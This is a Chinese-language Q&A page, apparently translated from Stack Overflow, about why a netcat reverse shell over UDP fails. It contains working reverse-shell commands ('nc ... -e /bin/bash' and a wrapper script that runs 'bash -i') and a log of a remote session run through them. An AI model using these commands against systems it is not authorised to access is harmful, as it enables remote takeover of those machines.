使用netcat和UDP的反向shell无法正常工作

时间:2015-02-10 04:37:48

标签: linux bash shell netcat

我正在尝试使用默认安装的netcat在两台Linux机器(Kali v.1.0.9)之间建立一个反向shell。 使用下面的命令,我能够在两台机器之间建立连接和中继文本信息:

监听器:

nc -luvvp <port>

客户端:

nc -uvv <ip> <port>

但是,修改客户端的参数以包括在连接上执行bash:

nc -uvv <ip> <port> -e /bin/bash

并没有联系,我不太确定如何让这个工作,这似乎不是其他人经历过的问题,也不确定如何解决问题。它也可能有助于知道这些命令使用普通的TCP模式工作正常,只有在添加u标志后才停止为shell工作。任何帮助将不胜感激,谢谢!

1 个答案:

答案 0 :(得分:0)

我做了一些实验,并意识到通过UDP上的netcat进行隧道shell会话几乎是不可能的。 bash不知道底层文件描述符是UDP套接字bash调用 read(),缓冲区大小为1.这对交互式shell来说很好,但是当收到的UDP数据报包含多于1个字节时,数据就是丢失(数据报中的第一个字节除外)。

netcat在stdin使用标准行缓冲区,整个行在单个UDP数据报中发送。但是bash只读取每行的第一个字节。

另一个问题是客户端netcat通过命令

执行
nc -uvv -e "/bin/bash" <ip> <port>

不会向服务器发送任何数据,因为bash是在非交互模式下执行的,它只是等待命令。解决方案是编写一个脚本以交互模式执行bash:

$ cat bashinteractive
#!/bin/bash
/bin/bash -i

并致电服务器

$ nc -luvvp <port>

和客户

nc -uvv -e "./bashinteractive" <ip> <port>

但使用非常不方便。当每个字节后跟 ENTER

时,可以在服务器上写入命令
$ ./nc -luvvp 6666
listening on [any] 6666 ...
connect to [10.0.2.15] from xxx.yyy.zzz [10.0.2.16] 37552
$ c
cd
d 
 /
/

$ l
ls
s 
 -
-l
l

total 92
drwxr-xr-x   2 root root  4096 Feb  7 15:22 bin
....
drwxr-xr-x  13 root root  4096 Oct 16  2013 var
$ e
ex
xi
it
t

exit

 sent 30, rcvd 1422 : Connection refused

所以我的建议是使用除netcat之外的其他工具。也许你可以试试 http://code.google.com/p/udptunnel/